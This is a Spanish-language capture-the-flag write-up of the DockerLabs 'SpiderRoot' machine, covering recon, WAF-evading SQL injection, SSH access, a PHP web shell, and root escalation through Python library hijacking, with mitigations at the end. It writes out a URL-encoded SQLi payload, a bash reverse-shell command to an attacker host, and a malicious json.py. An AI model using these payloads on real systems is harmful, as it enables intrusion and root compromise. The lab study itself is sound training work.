Skip to content

SpiderRoot

This content is not available in your language yet.

Este documento presenta la resolución completa de la máquina SpiderRoot, desarrollada por Grooti16 para la plataforma DockerLabs, clasificada con una dificultad Media.

El objetivo del laboratorio es comprometer un servidor web vulnerable mediante la explotación de una inyección SQL (SQLi) protegida por un WAF mal configurado, la obtención de credenciales válidas para acceso por SSH, el descubrimiento de un panel interno con ejecución remota de comandos, y una posterior escalada de privilegios mediante Python Library Hijacking aprovechando una configuración insegura de sudo.

La metodología empleada se divide en los siguientes pasos:

  1. Reconocimiento: enumeración de servicios y análisis de la aplicación web.
  2. Explotación: evasión de WAF y obtención de acceso remoto.
  3. Escalada de privilegios: abuso de servicios internos y ejecución de scripts privilegiados.

El laboratorio se realizó íntegramente dentro del entorno controlado proporcionado por DockerLabs, con fines exclusivamente educativos.


AtributoValor
NombreSpiderRoot
AutorGrooti16
DificultadMedio
Fecha12/05/2024
PlataformaDockerLabs
IP Objetivo172.17.0.2

Se descomprime la máquina y se despliega utilizando el script proporcionado:

Ventana de terminal
unzip SpiderRoot.zip
sudo bash auto_deploy.sh SpiderRoot.tar

IP asignada

Se organiza el entorno de trabajo:

Ventana de terminal
mkdir -p SpiderRoot/{content,exploits,nmap,scripts}
cd SpiderRoot

Se realiza un escaneo completo de puertos TCP:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos abiertos identificados:

  • 22/tcp — SSH
  • 80/tcp — HTTP

Puertos abiertos


Se realiza fuzzing de rutas y archivos:

Ventana de terminal
feroxbuster -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \
-x php,html,txt,js -t 100 -C 404

feroxbuster result

Se identifican los siguientes recursos relevantes:

  • index.html Página informativa sobre superhéroes.

index

  • pages/multiverse.php Página que presenta un formulario de autenticación aparentemente protegido.

Además, se observa que el parámetro page es utilizado internamente, lo que sugiere un posible punto de entrada para ataques de inyección.


Se intenta inicialmente un bypass básico de SQLi (' OR 1=1-- -), el cual es bloqueado por un Web Application Firewall (WAF):

waf

Al revisar el código fuente del archivo multiverse.php, se identifican comentarios con pistas clave:

hint1

Se indica que es necesario utilizar caracteres codificados para evadir el filtrado.

hint2

También se sugiere el uso de operadores lógicos (OR, AND).

Con esta información, se construye un payload SQLi URL-encoded, logrando evadir el WAF:

%27%20or%201%3D1%2D%2D%20%2D

El bypass devuelve múltiples credenciales válidas:

bypass

Tras probarlas por SSH, se obtiene acceso válido con el usuario peter:

Ventana de terminal
ssh peter@172.17.0.2

ssh


Durante la enumeración local se identifican directorios internos (/var/www/internal, /var/www/html) que sugieren la existencia de una aplicación accesible solo desde localhost.

index.php
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<title>Multiverse Panel Interno</title>
<style>
...
</style>
</head>
<body>
<header>Panel Interno del Multiverse</header>
<main>
<p>Introduce un comando para ejecutar en el sistema:</p>
<form method="GET">
<input type="text" name="cmd" placeholder="Escribe un comando...">
<input type="submit" value="Ejecutar">
</form>
<div class="output">
<?php
if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
echo "<strong>Salida de:</strong> $cmd\n\n";
echo "<pre>";
system($cmd);
echo "</pre>";
} else {
echo "Aquí aparecerá la salida del comando.";
}
?>
</div>
</main>
</body>
</html>

Se listan los puertos en escucha:

Ventana de terminal
ss -tulpn

Se detecta un servicio web en el puerto 8080. Al revisar su código fuente, se identifica una web shell que ejecuta directamente comandos del sistema a través del parámetro cmd:

system($cmd);

Esto permite ejecución remota de comandos como el usuario www-data.

Se establece un listener en el atacante:

Ventana de terminal
nc -nlvp 443

Y se ejecuta una reverse shell desde el panel interno:

Ventana de terminal
curl "http://localhost:8080/?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/172.17.0.1/443%200%3E%261%27"

reverse


Se revisan los permisos sudo:

sudo

El usuario puede ejecutar el script /opt/spidy.py como root utilizando Python.

spidy.py
#!/usr/bin/env python3
# spidey_run.py - Spider-Man Python Lab
import os
import sys
import json
import math
def web_swing():
print("🕷️ Spider-Man se balancea por la ciudad.")
print("Explorando los tejados y vigilando la ciudad...")
def run_tasks():
print("🕸️ Ejecutando tareas del día...")
print("Saltos calculados:", math.sqrt(225))
data = {"hero": "Spider-Man", "city": "New York"}
print("Registro de datos:", json.dumps(data))
def fight_villains():
villains = ["Green Goblin", "Doctor Octopus", "Venom"]
print("Villanos en la ciudad:", ", ".join(villains))
for v in villains:
print(f"🕷️ Enfrentando a {v}...")
if __name__ == "__main__":
web_swing()
run_tasks()
fight_villains()
print("✅ Spider-Man ha terminado su ronda.")

El script importa múltiples librerías estándar (json, math, os), lo que lo hace vulnerable a Python Library Hijacking debido a la prioridad del directorio actual en PYTHONPATH.

Se crea un archivo malicioso json.py:

json.py
import os
os.system("/bin/bash")

Finalmente, se ejecuta el script privilegiado:

Ventana de terminal
sudo python3 /opt/spidy.py

Obteniendo acceso como root:

root


VulnerabilidadSeveridadImpacto
Inyección SQL con evasión de WAFCríticaBypass de autenticación
Comentarios con información sensibleMediaFacilita explotación
Panel interno con ejecución de comandosCríticaEjecución remota de código
Configuración insegura de sudo con PythonCríticaEscalada de privilegios a root
Python Library HijackingAltaEjecución arbitraria como root

  • Implementar consultas SQL parametrizadas.
  • No confiar únicamente en WAF para prevenir inyecciones.
  • Eliminar comentarios sensibles del código fuente.
  • Restringir servicios internos y validar entradas de usuario.
  • Evitar ejecutar scripts con sudo que importen librerías sin rutas absolutas.
  • Auditar periódicamente configuraciones de sudo y servicios locales.